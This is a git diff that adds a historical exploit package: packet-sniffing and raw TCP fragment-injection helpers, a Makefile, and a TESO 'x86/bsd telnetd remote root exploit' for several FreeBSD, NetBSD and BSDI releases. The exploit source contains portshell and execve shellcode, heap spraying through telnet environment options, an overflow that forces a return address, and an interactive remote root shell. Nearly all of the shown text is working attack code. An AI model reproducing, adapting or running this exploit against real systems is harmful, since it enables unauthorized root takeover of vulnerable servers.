+{ + char errorbuf[PCAP_ERRBUF_SIZE]; /* error buffer */ + pcap_t * pdes = NULL; /* packet capture descriptor */ + + pdes = pcap_open_live (device, SNAPLEN, /*PROMISC*/ 0, READ_TIMEOUT, errorbuf); + + if (pdes == NULL) { + fprintf (stderr, "[855] sniff_pcap_open (pcap_open_live): %s\n", + errorbuf); + + return (NULL); + } + + return (pdes); +} + +/* sniff_dev_free + * + * close and free a sniffing device + */ + +void +sniff_dev_free (s_dev *device) +{ + pcap_close (device->pd); + if (device->interface) + free (device->interface); + + free (device); + + return; +} + + +/* sniff_dev_ip + * + * get the ip given the name of a device. + * i /hope/ this is portable ;) + * -smiler 991001 + * + * return 0 on success + * return -1 on failure + */ + +int +sniff_dev_ip (const char *dev, struct in_addr *ip) +{ + int ifsock, + i_cnt; + struct ifconf ifc; + struct ifreq *ifr; + char buf[1024]; + + + ifsock = socket (AF_INET, SOCK_DGRAM, 0); + if (ifsock < 0) + return (-1); + + ifc.ifc_len = sizeof (buf); + ifc.ifc_buf = buf; + if (ioctl (ifsock, SIOCGIFCONF, &ifc) < 0) + return (-1); + + i_cnt = ifc.ifc_len / sizeof(struct ifreq); + + for (ifr = ifc.ifc_req; i_cnt ; i_cnt--, ifr++) { + if (strcmp (dev, ifr->ifr_name) == 0) { + memcpy (ip, &((struct sockaddr_in *) &ifr->ifr_addr)->sin_addr, + sizeof (struct in_addr)); + + return (0); + } + } + + return (-1); +} diff --git a/exploits/7350855/0/sniff.h b/exploits/7350855/0/sniff.h new file mode 100644 index 0000000..5346d00 --- /dev/null +++ b/exploits/7350855/0/sniff.h @@ -0,0 +1,44 @@ +/* snifflib + * + * by scut + * + */ + +#ifndef Z_SNIFF_H +#define Z_SNIFF_H + +#include +#include "packet.h" + +#define SNAPLEN 65535 +#define PROMISC 1 +#define READ_TIMEOUT 0 + + +typedef struct s_dev { + int error; /* error flag */ + + pcap_t * pd; /* packet capture descriptor */ + char * interface; /* interface name */ + int linktype; /* link layer type */ + unsigned long int linkhdrlen; /* length of the link layer frame header */ + bpf_u_int32 localnet; /* local network address */ + bpf_u_int32 netmask; /* netmask of local network */ +} s_dev; + + +typedef struct sniff_info { + s_dev * device; /* device structure of the sniffing device */ + pq_thread * pq_thd; /* packet queue list root pointer */ +} sniff_info; + + +int sniff_new (pthread_t *tid, char *interface, pq_thread *pq_thd); +void * sniff_handle (sniff_info *sinfo); +s_dev * sniff_open (char *devname); +pcap_t * sniff_pcap_open (char *device); +void sniff_dev_free (s_dev *device); +int sniff_dev_ip (const char *dev, struct in_addr *ip); + +#endif + diff --git a/exploits/7350855/7350855 b/exploits/7350855/7350855 new file mode 100644 index 0000000..9cbe420 Binary files /dev/null and b/exploits/7350855/7350855 differ diff --git a/exploits/7350855/7350855-bumped.tar.gz b/exploits/7350855/7350855-bumped.tar.gz new file mode 100644 index 0000000..38d8d01 Binary files /dev/null and b/exploits/7350855/7350855-bumped.tar.gz differ diff --git a/exploits/7350855/7350855.c b/exploits/7350855/7350855.c new file mode 100644 index 0000000..23f5627 --- /dev/null +++ b/exploits/7350855/7350855.c @@ -0,0 +1,293 @@ + + +#include +#include +#include +#include +#include "packet.h" +#include "sniff.h" +#include "network.h" + + +extern pthread_mutex_t watch_mutex; +extern int watch; +extern struct in_addr watch_ipsrc, + watch_ipdst; +extern unsigned short int watch_sport, + watch_dport; +extern unsigned long int watch_src_seq, + watch_dst_seq; +extern unsigned long int watch_src_ack, + watch_dst_ack; + +/* globals + */ +char * target = "127.0.0.1"; +unsigned int target_port = 2000; +char * interface = "eth0"; + +pq_thread * pmain; +pthread_t sniff_t; + +/* prototypes + */ +void witch_write (unsigned char *data, unsigned long int data_len, + unsigned short int frag_size); +int watch_connect (char *host, unsigned short int port); +void watch_enable (void); +void watch_disable (void); + + +void +usage (char *progfile) +{ + fprintf (stderr, "usage: %s [-t target] [-i interface]\n\n", progfile); + + exit (EXIT_FAILURE); +} + + +int +main (int argc, char *argv[]) +{ + int n; + int net; + char c; + + int scount = 5; + unsigned char tbuf[8192]; + + + while ((c = getopt (argc, argv, "p:t:i:")) != EOF) { + switch (c) { + case 'p': + target_port = atoi (optarg); + break; + case 't': + target = optarg; + break; + case 'i': + interface = optarg; + break; + default: + usage (argv[0]); + } + } + + srandom (time (NULL)); + + net = watch_connect (target, target_port); + watch_enable (); + + while (scount-- > 0) { + write (net, "\xff\xfc", 2); + sleep (1); + } + + memset (tbuf, 'A', sizeof (tbuf)); + tbuf[sizeof (tbuf) - 1] = '\0'; + for (n = 0 ; n < sizeof (tbuf) ; ++n) + tbuf[n] = n % 2 ? '\xff' : '\xfc'; + + witch_write (tbuf, sizeof (tbuf), 768); +// witch_write (tbuf, 1200, 512); + + fprintf (stderr, "send\n"); + + sleep (20); + close (net); + + exit (EXIT_SUCCESS); +} + + +/* will write the data in one big tcp fragment. then tear down the connection, + * since it would get fucked over by the local host anyway (which does not + * know about the packets we send). idea by dvorak btw + */ + +void +witch_write (unsigned char *data, unsigned long int data_len, + unsigned short int frag_size) +{ + int frag_no; + unsigned short int frag_ofs; + + unsigned long int this_len; /* this fragments length */ + unsigned char tcpbuf[65536]; + unsigned char pbuf[2048]; /* packet buffer */ + + unsigned char * tp; + unsigned long int tp_len; + unsigned short int tp_id = random () & 0xffff; + + int rawsock, + rawlen; + + + /* first, disable tcp parsing, to not confuse it */ + watch_disable (); + + memset (tcpbuf, '\0', sizeof (tcpbuf)); + if ((data_len > (sizeof (tcpbuf) - TCP_H - IP_H)) || + frag_size > (sizeof (pbuf) - IP_H)) + { + fprintf (stderr, "packet size exceeded\n"); + exit (EXIT_FAILURE); + } + + /* XXX/FIXME: watch_dst_seq is used, but it should be + * watch_dst_seq + length-of-last-send-packet-by-target-host + * XXX: so it only works if the last packet by the target was a simple + * no-data packet + */ + libnet_build_tcp (watch_sport, watch_dport, + watch_dst_ack, /* ack # is next seq # */ + watch_dst_seq, /* acknowledge what it send (hopefully nothing) */ + TH_ACK | TH_FIN | TH_PUSH, + 16384, /* window size */ + 0, /* no urgent data */ + data, + data_len, + tcpbuf + IP_H); + + libnet_build_ip (data_len + TCP_H, /* length w/o header */ + 0, + tp_id, + 0, + 128, /* TTL */ + IPPROTO_TCP, /* enclosed payload */ + watch_ipsrc.s_addr, + watch_ipdst.s_addr, + tcpbuf + IP_H, + data_len + TCP_H, + tcpbuf); + + /* calculate checksum and slide buffer so we only have the proper + * tcp packet left + */ + libnet_do_checksum (tcpbuf, IPPROTO_TCP, TCP_H + data_len); + memmove (tcpbuf, tcpbuf + IP_H, TCP_H + data_len); + + tp = tcpbuf; + tp_len = TCP_H + data_len; + + frag_size &= ~0x03; /* align downwards on an 8 byte boundary */ + frag_no = 0; + frag_ofs = 0; + + /* write it out + */ + rawsock = libnet_open_raw_sock (IPPROTO_RAW); + if (rawsock == -1) { + perror ("libnet_open_raw_sock"); + + exit (EXIT_FAILURE); + } + + while (tp_len > 0) { + this_len = frag_size < tp_len ? frag_size : tp_len; + tp_len -= this_len; + + memset (pbuf, '\0', sizeof (pbuf)); + + /* construct one fragment + */ + libnet_build_ip (this_len, /* length w/o header */ + 0, /* no special TOS */ + tp_id, /* random ID */ + (tp_len > 0 ? IP_MF : 0) | /* more fragments to come ? */ + ((frag_ofs >> 3) & IP_OFFMASK), /* fragmentation offset */ + 128, /* TTL */ + IPPROTO_TCP, /* enclosed payload */ + watch_ipsrc.s_addr, + watch_ipdst.s_addr, + tp, this_len, + pbuf); + + libnet_do_checksum (pbuf, IPPROTO_IP, IP_H); + + + rawlen = libnet_write_ip (rawsock, pbuf, IP_H + this_len); + if (rawlen != IP_H + this_len) { + perror ("libnet_write_ip"); + + exit (EXIT_FAILURE); + } + + /* sleep to let the packet reach its target + */ + fprintf (stderr, "%2d: 0x%04hx (%5lu) - %5lu left\n", frag_no, + frag_ofs, this_len, tp_len); + usleep (500000); + + /* align for next fragment + */ + tp += this_len; + frag_no += 1; + frag_ofs += this_len; + } + + close (rawsock); +} + + +void +watch_enable (void) +{ + pthread_mutex_lock (&watch_mutex); + watch = 1; + pthread_mutex_unlock (&watch_mutex); +} + + +void +watch_disable (void) +{ + pthread_mutex_lock (&watch_mutex); + watch = 0; + pthread_mutex_unlock (&watch_mutex); +} + + +int +watch_connect (char *host, unsigned short int port) +{ + int sock; + char * ip_pr; + + + sock = net_connect (NULL, host, port, NULL, 0, 20); + + pthread_mutex_lock (&watch_mutex); + if (net_addrpair (sock , &watch_ipsrc, &watch_sport, + &watch_ipdst, &watch_dport)) + { + perror ("address pair on connection"); + + exit (EXIT_FAILURE); + } + pthread_mutex_unlock (&watch_mutex); + + net_printipa (&watch_ipsrc, &ip_pr); + printf ("%s:%hu <-> ", ip_pr, watch_sport); + free (ip_pr); + net_printipa (&watch_ipdst, &ip_pr); + printf ("%s:%hu\n", ip_pr, watch_dport); + free (ip_pr); + + pmain = pq_create (); + if (pmain == NULL) { + fprintf (stderr, "failed to create packetizer thread\n"); + exit (EXIT_FAILURE); + } + + if (sniff_new (&sniff_t, interface, pmain)) { + fprintf (stderr, "failed to create sniffing thread\n"); + exit (EXIT_FAILURE); + } + + return (sock); +} + + diff --git a/exploits/7350855/7350855_exploit.c b/exploits/7350855/7350855_exploit.c new file mode 100644 index 0000000..95dd740 --- /dev/null +++ b/exploits/7350855/7350855_exploit.c @@ -0,0 +1,877 @@ +/* 7350854 - x86/bsd telnetd remote root exploit + * + * TESO CONFIDENTIAL - SOURCE MATERIALS + * + * This is unpublished proprietary source code of TESO Security. + * + * The contents of these coded instructions, statements and computer + * programs may not be disclosed to third parties, copied or duplicated in + * any form, in whole or in part, without the prior written permission of + * TESO Security. This includes especially the Bugtraq mailing list, the + * www.hack.co.za website and any public exploit archive. + * + * (C) COPYRIGHT TESO Security, 2001 + * All Rights Reserved + * + ***************************************************************************** + * bug found by scut 2001/06/09 + * further research by smiler, zip, lorian and me. + * thanks to zip's cool friend for giving me a testbed to play on + * + * tested against: BSDI BSD/OS 4.1 + * NetBSD 1.5 + * FreeBSD 3.1 + * FreeBSD 4.0-REL + * FreeBSD 4.2-REL + * FreeBSD 4.3-BETA + * FreeBSD 4.3-STABLE + * FreeBSD 4.3-RELEASE + * + */ + +#define VERSION "0.0.7" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +/* global variables, uhhohh! + */ +int mode = 16; +int num = 245; +int pop = 31500; /* puts code at 0x08fdff0a */ +int bs = 1; /* buffer start */ + +int num34 = 244; +int pop34 = 71833; /* puts code at 0x0a0d08fe */ +int bs34 = 0; + +int walk; /* populator walker */ +int force = 0; /* force exploitation */ +int checkonly = 0; /* check telnetd only */ + + +void usage (char *progname); +int xp_check (int fd); +void xp_pop (int fd); +void xp_shrinkwin (int fd); +void xp_setenv (int fd, unsigned char *var, unsigned char *val); +void xp (int fd); +void shell (int sock); +void hexdump (char *desc, unsigned char *data, unsigned int amount); + +/* imported from shellkit */ +unsigned long int random_get (unsigned long int low, unsigned long int high); +void random_init (void); +int bad (unsigned char u); +int badstr (unsigned char *code, int code_len, unsigned char *bad, + int bad_len); +unsigned long int x86_nop_rwreg (void); +unsigned long int x86_nop_xfer (char *xferstr); +unsigned int x86_nop (unsigned char *dest, unsigned int dest_len, + unsigned char *bad, int bad_len); + +#define BSET(dest, len, val, bw) { \ + dest &= ~(((unsigned char) ~0) >> bw); /* clear lower bits */ \ + dest |= val << (8 - bw - len); /* set value bits */ \ + bw += len; \ +} + +/* imported from network.c */ +#define NET_CONNTIMEOUT 60 +int net_conntimeout = NET_CONNTIMEOUT; + +unsigned long int net_resolve (char *host); +int net_connect (struct sockaddr_in *cs, char *server, + unsigned short int port, int sec); + + +/* x86/bsd PIC portshell shellcode + * by lorian/teso + * port 0x4444 (might want to change it here) + */ +unsigned char x86_bsd_portshell[] = + "\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53" + "\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5" + /* ^^ ^^ port */ + "\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a" + "\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a" + "\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73" + "\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd" + "\x80"; + +/* x86/bsd PIC execve shellcode + * by lorian/teso + */ +unsigned char x86_bsd_execvesh[] = + "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68" + "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80"; + +/* x86/bsd(i)+solaris execve shellcode + * by lorian/teso + */ +unsigned char x86_bsd_compaexec[] = + "\xbf\xee\xee\xee\x08\xb8\xff\xf8\xff\x3c\xf7\xd0" + "\xfd\xab\x31\xc0\x99\xb0\x9a\xab\xfc\xab\xb0\x3b" + "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89" + "\xe3\x52\x53\x89\xe1\x52\x51\x53\xff\xd7"; + + +unsigned char * shellcode = x86_bsd_compaexec; + + +#define COL 55 + + +void +usage (char *progname) +{ + fprintf (stderr, "usage: %s [-n ] [-c] [-f] \n\n", progname); + fprintf (stderr, "-n num\tnumber of populators, for testing purposes\n" + "-c\tcheck exploitability only, do not exploit\n" + "-f\tforce mode, override check results\n\n"); + fprintf (stderr, "WARNING: this is no easy exploit, we have to get things tightly aligned and\n" + "send 16/34mb of traffic to the remote telnet daemon. it might not be able to\n" + "take that, or it will take very long for it (> 1h). beware.\n\n"); + + fprintf (stderr, "tested:\tFreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE \n" + "\tNetBSD 1.5\n" + "\tBSDI BSD/OS 4.1\n\n"); + + exit (EXIT_FAILURE); +} + +int +main (int argc, char *argv[]) +{ + char c; + char * progname; + char * dest; + int i, j, fd, + dots = 0; + int popc; + struct timeval start, + cur; + unsigned long long int g_pct, /* gaussian percentage */ + g_all; /* gaussian overall */ + + + fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n" + "by zip, lorian, smiler and scut.\n\n"); + + progname = argv[0]; + if (argc < 2) + usage (progname); + + + while ((c = getopt (argc, argv, "n:cf")) != EOF) { + switch (c) { + case 'n': + num = atoi (optarg); + break; + case 'c': + checkonly = 1; + break; + case 'f': + force = 1; + break; + default: + usage (progname); + break; + } + } + + dest = argv[argc - 1]; + if (dest[0] == '-') + usage (progname); + + fd = net_connect (NULL, dest, 23, 20); + if (fd <= 0) { + fprintf (stderr, "failed to connect\n"); + exit (EXIT_FAILURE); + } + + random_init (); + + if (xp_check (fd) == 0 && force == 0) { + printf ("aborting\n"); +#ifndef DEBUG + exit (EXIT_FAILURE); +#endif + } + close (fd); + + if (checkonly) + exit (EXIT_SUCCESS); + + fd = net_connect (NULL, dest, 23, 20); + if (fd <= 0) { + fprintf (stderr, "failed to connect the second time\n"); + exit (EXIT_FAILURE); + } + + printf ("\n#############################################################################\n\n"); + printf ("ok baby, times are rough, we send %dmb traffic to the remote\n" + "telnet daemon process, it will spill badly. but then, there is no\n" + "other way, sorry...\n\n", mode); + +#ifdef DEBUG + getchar (); +#endif + printf ("## setting populators to populate heap address space\n"); + + g_all = ((unsigned long long int)(pop / 2)) * + ((unsigned long long int)(pop + 1)); + g_pct = 0; + + printf ("## number of setenvs (dots / network): %d\n", pop); + printf ("## number of walks (percentage / cpu): %Lu\n", g_all); + printf ("##\n"); + printf ("## the percentage is more realistic than the dots ;)\n"); + printf ("\n"); + printf ("percent |"); + + popc = pop / COL; + for (i = pop / popc ; i >= 0 ; --i) + printf ("-"); + printf ("| ETA |\n"); + + gettimeofday (&start, NULL); + + for (walk = 0 ; walk < pop ; ++walk) { + xp_pop (fd); + + g_pct += walk; + + if (walk % popc == 0) + dots += 1; + + if (walk % 200 == 0) { + int pct; + float pct_f; + unsigned long int diff; + + pct = (int) ((g_pct * 100) / g_all); + pct_f = g_pct * 100; + pct_f /= (float) g_all; + + /* calculate difference not caring about accuracy */ + gettimeofday (&cur, NULL); + diff = cur.tv_sec - start.tv_sec; + + printf ((pct == 100) ? "\r%3.2f%% |" : ((pct / 10) ? + "\r %2.2f%% |" : "\r %1.2f%% |"), pct_f); + for (j = 0 ; j < dots ; ++j) + printf ("."); + for ( ; j <= COL ; ++j) + printf (" "); + + if (pct != 0) { + diff = (int) ((((float)(100 - pct_f)) / + (float) pct_f) * diff); + printf ("| %02lu:%02lu:%02lu |", + diff / 3600, (diff % 3600) / 60, + diff % 60); + } else { + printf ("| --:--:-- |"); + } + + fflush (stdout); + } + } + printf ("\n\n"); + + printf ("## sleeping for 10 seconds to let the process recover\n"); + sleep (10); + +#ifdef DEBUG + getchar (); +#endif + /* return into 0x08feff0a */ + xp (fd); + sleep (1); + + printf ("## ok, you should now have a root shell\n"); + printf ("## as always, after hard times, there is a reward...\n"); + printf ("\n\ncommand: "); + fflush (stdout); + + shell (fd); + + exit (EXIT_SUCCESS); +} + + +void +xp (int fd) +{ + int n; + unsigned char buf[2048]; + + + /* basic overflow */ + for (n = bs ; n < sizeof (buf) ; ++n) + buf[n] = (n - bs) % 2 ? '\xf6' : '\xff'; + + /* some nifty alignment */ + buf[0] = '\xff'; /* IAC */ + buf[1] = '\xf5'; /* AO */ + + if (mode == 16) { + buf[2] = '\xff'; /* IAC */ + buf[3] = '\xfb'; /* WILL */ + buf[4] = '\x26'; /* ENCRYPTION */ + } + + /* force 0x08feff0a as return */ + buf[num++] = '\xff'; + buf[num++] = '\xfb'; + buf[num++] = '\x08'; + + /* and the output_encrypt overwrite action, yay! */ + buf[num++] = '\xff'; + buf[num++] = '\xf6'; + + /* XXX: should not fail here, though we should better loop and check */ + n = send (fd, buf, num, 0); + if (n != num) { + perror ("xp:send"); + } +} + + +#ifdef INSANE_MIND + +void +xp_shrinkwin (int fd) +{ + int n; + int iobc; + int p = 0; + unsigned char buf[2048]; + char c; + int val; + int len; + + for (n = 0 ; n < sizeof (buf) ; ++n) + buf[n] = n % 2 ? '\xf6' : '\xff'; + + len = sizeof (val); + getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len); + printf ("SO_SNDLOWAT = %d\n", val); + val = 1; + printf ("setsockopt: %s\n", + setsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, sizeof(val)) ? + "FAILED" : "SUCCESS"); + val = 1234; + getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len); + printf ("SO_SNDLOWAT = %d\n", val); + + getchar(); + while (1) { + if (p > 105) + c = getchar(); + if (c == 'r') { + getchar(); + read (fd, &buf[1024], 384); + } else if (c == 'o') { + getchar(); + send (fd, "7", 1, MSG_OOB); + } else if (c != 'r') { + usleep(100000); + n = send (fd, buf, 112, 0); + ioctl (fd, FIONREAD, &iobc); + len = sizeof (val); + getsockopt (fd, SOL_SOCKET, SO_RCVBUF, &val, &len); + printf ("%02d. send: %d local: %d/%d (%d left)\n", + ++p, n, iobc, val, val - iobc); + } + } +} +#endif + + +/* xp_pop - populator function + * + * causes remote telnet daemon to setenv() variables with our content, populating + * the heap with shellcode. this will get us more nopspace and place our shellcode + * where the nice addresses are, that we can create by writing telnet option + * strings. + * + * XXX: there seems to be a maximum size for the environment value you can set, + * which is 510. we use 496 bytes for nopspace and shellcode therefore. + * should work, rather similar to tsig tcp/malloc exploitation. -sc + */ + +void +xp_pop (int fd) +{ + unsigned char var[16]; + unsigned char storebuf[496]; + sprintf (var, "%06x", walk); +#ifdef DEBUG + memset (storebuf, '\xcc', sizeof (storebuf)); +#else +/* memset (storebuf, '\x90', sizeof (storebuf)); */ + x86_nop (storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5); + memcpy (storebuf + sizeof (storebuf) - strlen (shellcode) - 1, + shellcode, strlen (shellcode)); +#endif + storebuf[sizeof (storebuf) - 1] = '\0'; + + xp_setenv (fd, var, storebuf); +} + + +void +xp_setenv (int fd, unsigned char *var, unsigned char *val) +{ + int n = 0; + unsigned char buf[2048]; + + buf[n++] = IAC; + buf[n++] = SB; + buf[n++] = TELOPT_NEW_ENVIRON; + buf[n++] = TELQUAL_IS; + buf[n++] = ENV_USERVAR; + + /* should not contain < 0x04 */ + while (*var) { + if (*var == IAC) + buf[n++] = *var; + buf[n++] = *var++; + } + buf[n++] = NEW_ENV_VALUE; + while (*val) { + if (*val == IAC) + buf[n++] = *val; + buf[n++] = *val++; + } + buf[n++] = IAC; + buf[n++] = SE; + + if (send (fd, buf, n, 0) != n) { + perror ("xp_setenv:send"); + exit (EXIT_FAILURE); + } +} + + +int +xp_check (int fd) +{ + int n; + unsigned int expect_len = 15; + unsigned char expected[] = + "\x0d\x0a\x5b\x59\x65\x73\x5d\x0d\x0a\xff\xfe\x08\xff\xfd\x26"; + /* \r \n [ Y e s ] \r \n IAC DONT 08 IAC DO 26*/ + unsigned int additional_len = 8; + unsigned char additional[] = + "\xff\xfa\x26\x01\x01\x02\xff\xf0"; + /*IAC SB ENC ........... IAC SE */ + + unsigned char buf[128]; + + read (fd, buf, sizeof (buf)); + + n = 0; + buf[n++] = IAC; /* 0xff */ + buf[n++] = AYT; /* 0xf6 */ + + buf[n++] = IAC; /* 0xff */ + buf[n++] = WILL; /* 0xfb */ + buf[n++] = TELOPT_NAOL; /* 0x08 */ + + buf[n++] = IAC; /* 0xff */ + buf[n++] = WILL; /* 0xfb */ + buf[n++] = TELOPT_ENCRYPT; /* 0x26 */ + +#ifdef DEBUG + hexdump ("check send buffer", buf, n); +#endif + if (send (fd, buf, n, 0) != n) { + perror ("xp_check:send"); + exit (EXIT_FAILURE); + } + + n = read (fd, buf, sizeof (buf)); +#ifdef DEBUG + hexdump ("check recv buffer", buf, n); +#endif + + if (memcmp (buf, expected, expect_len) == 0) { + if (memcmp (buf+expect_len, additional, additional_len) == 0) { + mode = 16; + } else { + mode = 34; + bs = bs34; + } + printf ("check: PASSED, using %dmb mode\n", mode); + + return (1); + } + + printf ("check: FAILED\n"); + + return (0); +} + + +void +shell (int sock) +{ + int l; + char buf[512]; + fd_set rfds; + + + while (1) { + FD_SET (0, &rfds); + FD_SET (sock, &rfds); + + select (sock + 1, &rfds, NULL, NULL, NULL); + if (FD_ISSET (0, &rfds)) { + l = read (0, buf, sizeof (buf)); + if (l <= 0) { + perror ("read user"); + exit (EXIT_FAILURE); + } + write (sock, buf, l); + } + + if (FD_ISSET (sock, &rfds)) { + l = read (sock, buf, sizeof (buf)); + if (l <= 0) { + perror ("read remote"); + exit (EXIT_FAILURE); + } + write (1, buf, l); + } + } +} + + +/* ripped from zodiac */ +void +hexdump (char *desc, unsigned char *data, unsigned int amount) +{ + unsigned int dp, p; /* data pointer */ + const char trans[] = + "................................ !\"#$%&'()*+,-./0123456789" + ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" + "nopqrstuvwxyz{|}~...................................." + "....................................................." + "........................................"; + + + printf ("/* %s, %u bytes */\n", desc, amount); + + for (dp = 1; dp <= amount; dp++) { + fprintf (stderr, "%02x ", data[dp-1]); + if ((dp % 8) == 0) + fprintf (stderr, " "); + if ((dp % 16) == 0) { + fprintf (stderr, "| "); + p = dp; + for (dp -= 16; dp < p; dp++) + fprintf (stderr, "%c", trans[data[dp]]); + fflush (stderr); + fprintf (stderr, "\n"); + } + fflush (stderr); + } + if ((amount % 16) != 0) { + p = dp = 16 - (amount % 16); + for (dp = p; dp > 0; dp--) { + fprintf (stderr, " "); + if (((dp % 8) == 0) && (p != 8)) + fprintf (stderr, " "); + fflush (stderr); + } + fprintf (stderr, " | "); + for (dp = (amount - (16 - p)); dp < amount; dp++) + fprintf (stderr, "%c", trans[data[dp]]); + fflush (stderr); + } + fprintf (stderr, "\n"); + + return; +} + + + +unsigned long int +net_resolve (char *host) +{ + long i; + struct hostent *he; + + i = inet_addr(host); + if (i == -1) { + he = gethostbyname(host); + if (he == NULL) { + return (0); + } else { + return (*(unsigned long *) he->h_addr); + } + } + return (i); +} + + +int +net_connect (struct sockaddr_in *cs, char *server, + unsigned short int port, int sec) +{ + int n, + len, + error, + flags; + int fd; + struct timeval tv; + fd_set rset, wset; + struct sockaddr_in csa; + + if (cs == NULL) + cs = &csa; + + /* first allocate a socket */ + cs->sin_family = AF_INET; + cs->sin_port = htons (port); + fd = socket (cs->sin_family, SOCK_STREAM, 0); + if (fd == -1) + return (-1); + + if (!(cs->sin_addr.s_addr = net_resolve (server))) { + close (fd); + return (-1); + } + + flags = fcntl (fd, F_GETFL, 0); + if (flags == -1) { + close (fd); + return (-1); + } + n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); + if (n == -1) { + close (fd); + return (-1); + } + + error = 0; + + n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); + if (n < 0) { + if (errno != EINPROGRESS) { + close (fd); + return (-1); + } + } + if (n == 0) + goto done; + + FD_ZERO(&rset); + FD_ZERO(&wset); + FD_SET(fd, &rset); + FD_SET(fd, &wset); + tv.tv_sec = sec; + tv.tv_usec = 0; + + n = select(fd + 1, &rset, &wset, NULL, &tv); + if (n == 0) { + close(fd); + errno = ETIMEDOUT; + return (-1); + } + if (n == -1) + return (-1); + + if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { + if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { + len = sizeof(error); + if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { + errno = ETIMEDOUT; + return (-1); + } + if (error == 0) { + goto done; + } else { + errno = error; + return (-1); + } + } + } else + return (-1); + +done: + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + return (fd); +} + + +/* imported from shellkit */ + +unsigned long int +random_get (unsigned long int low, unsigned long int high) +{ + unsigned long int val; + + if (low > high) { + low ^= high; + high ^= low; + low ^= high; + } + + val = (unsigned long int) random (); + val %= (high - low); + val += low; + + return (val); +} + + +void +random_init (void) +{ + srandom (time (NULL)); +} + + +int +bad (unsigned char u) +{ + if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25') + return (1); + + return (0); +} + +int +badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len) +{ + int n; + + for (code_len -= 1 ; code_len >= 0 ; --code_len) { + for (n = 0 ; n < bad_len ; ++n) + if (code[code_len] == bad[n]) + return (1); + } + + return (0); +} + +unsigned long int +x86_nop_rwreg (void) +{ + unsigned long int reg; + + do { + reg = random_get (0, 7); + } while (reg == 4); /* 4 = $esp */ + + return (reg); +} + + + +unsigned long int +x86_nop_xfer (char *xferstr) +{ + int bw = 0; /* bitfield walker */ + unsigned char tgt; /* resulting instruction */ + + /* in a valid xferstr we trust */ + for (tgt = 0 ; xferstr != NULL && xferstr[0] != '\0' ; ++xferstr) { + switch (xferstr[0]) { + case ('0'): + BSET (tgt, 1, 0, bw); + break; + case ('1'): + BSET (tgt, 1, 1, bw); + break; + case ('r'): + BSET (tgt, 3, x86_nop_rwreg (), bw); + break; + case ('.'): + break; /* ignore */ + default: + fprintf (stderr, "on steroids, huh?\n"); + exit (EXIT_FAILURE); + break; + } + } + + if (bw != 8) { + fprintf (stderr, "invalid bitwalker: bw = %d\n", bw); + exit (EXIT_FAILURE); + } + + return (tgt); +} + + +unsigned int +x86_nop (unsigned char *dest, unsigned int dest_len, + unsigned char *bad, int bad_len) +{ + int walk; + int bcount; /* bad counter */ + char * xs; + char * xferstr[] = { + "0011.0111", /* aaa */ + "0011.1111", /* aas */ + "1001.1000", /* cbw */ + "1001.1001", /* cdq */ + "1111.1000", /* clc */ + "1111.1100", /* cld */ + "1111.0101", /* cmc */ + "0010.0111", /* daa */ + "0010.1111", /* das */ + "0100.1r", /* dec */ + "0100.0r", /* inc */ + "1001.1111", /* lahf */ + "1001.0000", /* nop */ + "1111.1001", /* stc */ + "1111.1101", /* std */ + "1001.0r", /* xchg al, */ + NULL, + }; + unsigned char tgt; + + + for (walk = 0 ; dest_len > 0 ; dest_len -= 1 , walk += 1) { + /* avoid endless loops on excessive badlisting */ + for (bcount = 0 ; bcount < 16384 ; ++bcount) { + xs = xferstr[random_get (0, 15)]; + tgt = x86_nop_xfer (xs); + + dest[walk] = tgt; + if (badstr (&dest[walk], 1, bad, bad_len) == 0) + break; + } + + /* should not happen */ + if (bcount >= 16384) { + fprintf (stderr, "too much blacklisting, giving up...\n"); + exit (EXIT_FAILURE); + } + } + + return (walk); +} + + diff --git a/exploits/7350855/Makefile b/exploits/7350855/Makefile new file mode 100644 index 0000000..dabeeba --- /dev/null +++ b/exploits/7350855/Makefile @@ -0,0 +1,20 @@ + +#DFLAGS=-O2 +DFLAGS=-g -ggdb `libnet-config --defines` -DDEBUG +CC=gcc +CFLAGS=$(DFLAGS) -Wall +OBJS= common.o network.o sniff.o packet.o +LIBS=-lnet -lpcap -lpthread + + +all: 7350855 readtest + +clean: + rm -f *.o 7350855 readtest + +readtest: readtest.c network.o + $(CC) $(CFLAGS) -o readtest readtest.c network.o + +7350855: $(OBJS) 7350855.c + $(CC) $(CFLAGS) -o 7350855 7350855.c $(OBJS) $(LIBS) + diff --git a/exploits/7350855/common.c b/exploits/7350855/common.c new file mode 100644 index 0000000..9b28d61 --- /dev/null +++ b/exploits/7350855/common.c @@ -0,0 +1,318 @@ + +#include +#include +#include +#include +#include +#include +#include +#include "common.h" + + +#ifdef DEBUG +void +debugp (char *filename, const char *str, ...) +{ + FILE *fp; /* temporary file pointer */ + va_list vl; + + fp = fopen (filename, "a"); + if (fp == NULL) + return; + + va_start (vl, str); + vfprintf (fp, str, vl); + va_end (vl); + + fclose (fp); + + 